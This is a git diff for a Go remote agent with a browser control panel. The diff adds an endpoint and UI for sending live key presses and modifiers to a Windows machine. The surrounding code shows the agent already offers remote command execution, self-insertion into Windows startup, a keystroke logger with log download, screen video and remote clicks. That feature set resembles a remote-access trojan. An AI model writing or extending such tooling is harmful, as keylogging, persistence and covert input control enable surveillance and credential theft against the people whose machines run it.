diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 84866f2..792cff6 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -77,6 +77,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) + mux.HandleFunc("/api/v1/input/key", a.handleKey) mux.HandleFunc("/api/v1/input/text", a.handleText) mux.HandleFunc("/api/v1/keylog", a.handleKeylog) mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 39cd15a..66801cd 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -49,6 +49,7 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/exec": map[string]any{"post": map[string]string{"summary": "Run a command"}}, "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, + "/api/v1/input/key": map[string]any{"post": map[string]string{"summary": "Send a key press"}}, "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, @@ -377,6 +378,44 @@ func (a *Agent) handleText(w http.ResponseWriter, r *http.Request) { }) } +func (a *Agent) handleKey(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var request models.KeyRequest + decoder := json.NewDecoder(r.Body) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&request); err != nil { + helpers.WriteError(w, http.StatusBadRequest, "body must contain a key") + return + } + if request.Key == "" { + helpers.WriteError(w, http.StatusBadRequest, "key is required") + return + } + action := strings.ToLower(strings.TrimSpace(request.Action)) + if action == "" { + action = "tap" + } + if action != "tap" && action != "down" && action != "up" { + helpers.WriteError(w, http.StatusBadRequest, "action must be tap, down, or up") + return + } + if err := input.PressKey(request.Key, action, request.Modifiers); err != nil { + if errors.Is(err, input.ErrBadKey) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("key: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not send key") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"ok": true, "key": request.Key, "action": action}) +} + func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index beb137c..38bab7b 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -273,6 +273,7 @@ videoRunning = false; videoStart.disabled = false; videoStop.disabled = true; + releaseRemoteModifiers().catch((err) => showError(err.message)); } async function pullVideoFrame() { @@ -315,17 +316,62 @@ }); } - async function sendVideoText() { - const field = document.getElementById("video-text"); - const text = field.value; - if (!text) return; - const delayMs = clamp(document.getElementById("video-key-delay").value, 0, 200); - await api("/api/v1/input/text", { + const MODIFIER_CODES = new Set([ + "ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight", + "AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight", + ]); + + const CODE_KEYS = { + Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab", + Escape: "escape", Space: "space", Delete: "delete", Insert: "insert", + Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown", + ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right", + Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/", + Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'", + }; + for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i); + for (let i = 0; i < 26; i += 1) { + const letter = String.fromCharCode(65 + i); + CODE_KEYS[`Key${letter}`] = letter.toLowerCase(); + } + for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`; + + const modState = { ctrl: false, alt: false, shift: false, win: false }; + + function keyFromEvent(event) { + if (CODE_KEYS[event.code]) return CODE_KEYS[event.code]; + if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) { + return event.key.toLowerCase(); + } + return null; + } + + function transientModifiers(event) { + const mods = []; + if (event.shiftKey && !modState.shift) mods.push("shift"); + if (event.ctrlKey && !modState.ctrl) mods.push("ctrl"); + if (event.altKey && !modState.alt) mods.push("alt"); + if (event.metaKey && !modState.win) mods.push("win"); + return mods; + } + + async function sendRemoteKey(key, action = "tap", modifiers = []) { + await api("/api/v1/input/key", { method: "POST", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ text, delay_ms: delayMs }), + body: JSON.stringify({ key, action, modifiers }), }); - field.value = ""; + } + + async function releaseRemoteModifiers() { + const jobs = []; + for (const [name, active] of Object.entries(modState)) { + if (!active) continue; + modState[name] = false; + document.querySelector(`.mod-btn[data-mod="${name}"]`)?.classList.remove("active"); + jobs.push(sendRemoteKey(name, "up")); + } + await Promise.all(jobs); } async function listKeylogs() { @@ -427,19 +473,26 @@ event.preventDefault(); sendClick(event, "right").catch((err) => showError(err.message)); }); - document.getElementById("video-send").addEventListener("click", () => { - sendVideoText().catch((err) => showError(err.message)); + const videoKeys = document.getElementById("video-keys"); + videoKeys.addEventListener("keydown", (event) => { + if (MODIFIER_CODES.has(event.code)) return; + const key = keyFromEvent(event); + if (!key) return; + event.preventDefault(); + sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message)); }); - const videoKeyDelay = document.getElementById("video-key-delay"); - const videoKeyDelayVal = document.getElementById("video-key-delay-val"); - videoKeyDelay.addEventListener("input", () => { - videoKeyDelayVal.textContent = videoKeyDelay.value; - }); - document.getElementById("video-text").addEventListener("keydown", (event) => { - if (event.key === "Enter") { - event.preventDefault(); - sendVideoText().catch((err) => showError(err.message)); - } + document.querySelectorAll(".mod-btn").forEach((button) => { + button.addEventListener("click", () => { + const name = button.dataset.mod; + if (!name) return; + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => { + modState[name] = !modState[name]; + button.classList.toggle("active", modState[name]); + showError(err.message); + }); + }); }); document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 53a8826..c10d178 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -130,7 +130,25 @@ padding: 0.65rem 1.25rem; color: var(--danger); } - .error.show { display: block; } + nav button.mod-btn.active { + background: var(--accent); + border-color: var(--accent); + color: #fff; + } + #video-keys { + flex: 1; + min-width: 12rem; + padding: 0.55rem 0.75rem; + border: 1px dashed var(--line); + border-radius: 6px; + background: #fff; + cursor: text; + outline: none; + } + #video-keys:focus { + border-color: var(--accent); + box-shadow: 0 0 0 2px rgba(37, 99, 235, 0.15); + } @@ -208,12 +226,14 @@

- - - +
Click here, then type on your keyboard
+
+
+ + + + + Toggle modifiers, then type in the box above
diff --git a/lib/input/key.go b/lib/input/key.go new file mode 100644 index 0000000..5f04425 --- /dev/null +++ b/lib/input/key.go @@ -0,0 +1,68 @@ +package input + +import ( + "runtime" + "strings" +) + +func PressKey(key, action string, modifiers []string) error { + vk, ok := vkCode(key) + if !ok { + return ErrBadKey + } + + runtime.LockOSThread() + defer runtime.UnlockOSThread() + if err := attachInputDesktop(); err != nil { + return err + } + + modVKs := make([]uint16, 0, len(modifiers)) + for _, mod := range modifiers { + modVK, ok := vkCode(mod) + if !ok { + return ErrBadKey + } + modVKs = append(modVKs, modVK) + } + + for _, modVK := range modVKs { + if err := sendKeyEvent(modVK, false); err != nil { + return err + } + } + + switch strings.ToLower(strings.TrimSpace(action)) { + case "down": + if err := sendKeyEvent(vk, false); err != nil { + return err + } + case "up": + if err := sendKeyEvent(vk, true); err != nil { + return err + } + default: + if err := sendKeyEvent(vk, false); err != nil { + return err + } + if err := sendKeyEvent(vk, true); err != nil { + return err + } + for i := len(modVKs) - 1; i >= 0; i-- { + if err := sendKeyEvent(modVKs[i], true); err != nil { + return err + } + } + return nil + } + return nil +} + +func sendKeyEvent(vk uint16, keyUp bool) error { + flags := uint32(0) + if keyUp { + flags = keyeventfKeyup + } + inputs := []keybdInput{{Type: inputKeyboard, Vk: vk, Flags: flags}} + return sendKeys(inputs) +} diff --git a/lib/input/keymap.go b/lib/input/keymap.go new file mode 100644 index 0000000..f95f8f8 --- /dev/null +++ b/lib/input/keymap.go @@ -0,0 +1,108 @@ +package input + +import ( + "errors" + "strings" +) + +var ErrBadKey = errors.New("unknown key") + +// vkNames maps API key names to Windows virtual-key codes. +var vkNames = map[string]uint16{ + "backspace": 0x08, + "tab": 0x09, + "enter": 0x0D, + "shift": 0x10, + "ctrl": 0x11, + "control": 0x11, + "alt": 0x12, + "pause": 0x13, + "capslock": 0x14, + "escape": 0x1B, + "esc": 0x1B, + "space": 0x20, + "pageup": 0x21, + "pagedown": 0x22, + "end": 0x23, + "home": 0x24, + "left": 0x25, + "up": 0x26, + "right": 0x27, + "down": 0x28, + "insert": 0x2D, + "delete": 0x2E, + "del": 0x2E, + "win": 0x5B, + "lwin": 0x5B, + "rwin": 0x5C, + "0": 0x30, + "1": 0x31, + "2": 0x32, + "3": 0x33, + "4": 0x34, + "5": 0x35, + "6": 0x36, + "7": 0x37, + "8": 0x38, + "9": 0x39, + "a": 0x41, + "b": 0x42, + "c": 0x43, + "d": 0x44, + "e": 0x45, + "f": 0x46, + "g": 0x47, + "h": 0x48, + "i": 0x49, + "j": 0x4A, + "k": 0x4B, + "l": 0x4C, + "m": 0x4D, + "n": 0x4E, + "o": 0x4F, + "p": 0x50, + "q": 0x51, + "r": 0x52, + "s": 0x53, + "t": 0x54, + "u": 0x55, + "v": 0x56, + "w": 0x57, + "x": 0x58, + "y": 0x59, + "z": 0x5A, + "f1": 0x70, + "f2": 0x71, + "f3": 0x72, + "f4": 0x73, + "f5": 0x74, + "f6": 0x75, + "f7": 0x76, + "f8": 0x77, + "f9": 0x78, + "f10": 0x79, + "f11": 0x7A, + "f12": 0x7B, + ";": 0xBA, + "=": 0xBB, + ",": 0xBC, + "-": 0xBD, + ".": 0xBE, + "/": 0xBF, + "`": 0xC0, + "[": 0xDB, + "\\": 0xDC, + "]": 0xDD, + "'": 0xDE, +} + +func vkCode(name string) (uint16, bool) { + key := strings.ToLower(strings.TrimSpace(name)) + if len(key) == 1 { + if vk, ok := vkNames[key]; ok { + return vk, true + } + } + vk, ok := vkNames[key] + return vk, ok +} diff --git a/lib/input/keymap_test.go b/lib/input/keymap_test.go new file mode 100644 index 0000000..9883e56 --- /dev/null +++ b/lib/input/keymap_test.go @@ -0,0 +1,24 @@ +package input + +import "testing" + +func TestVkCode(t *testing.T) { + t.Parallel() + cases := map[string]uint16{ + "a": 0x41, + "A": 0x41, + "enter": 0x0D, + "ctrl": 0x11, + "win": 0x5B, + "f5": 0x74, + } + for name, want := range cases { + got, ok := vkCode(name) + if !ok || got != want { + t.Fatalf("vkCode(%q) = (%v, %v), want %v", name, got, ok, want) + } + } + if _, ok := vkCode("notakey"); ok { + t.Fatal("expected unknown key") + } +} diff --git a/lib/models/models.go b/lib/models/models.go index 2f98713..e100f61 100644 --- a/lib/models/models.go +++ b/lib/models/models.go @@ -55,3 +55,9 @@ type TextRequest struct { Text string `json:"text"` DelayMs *int `json:"delay_ms,omitempty"` } + +type KeyRequest struct { + Key string `json:"key"` + Action string `json:"action"` // tap, down, up + Modifiers []string `json:"modifiers,omitempty"` +}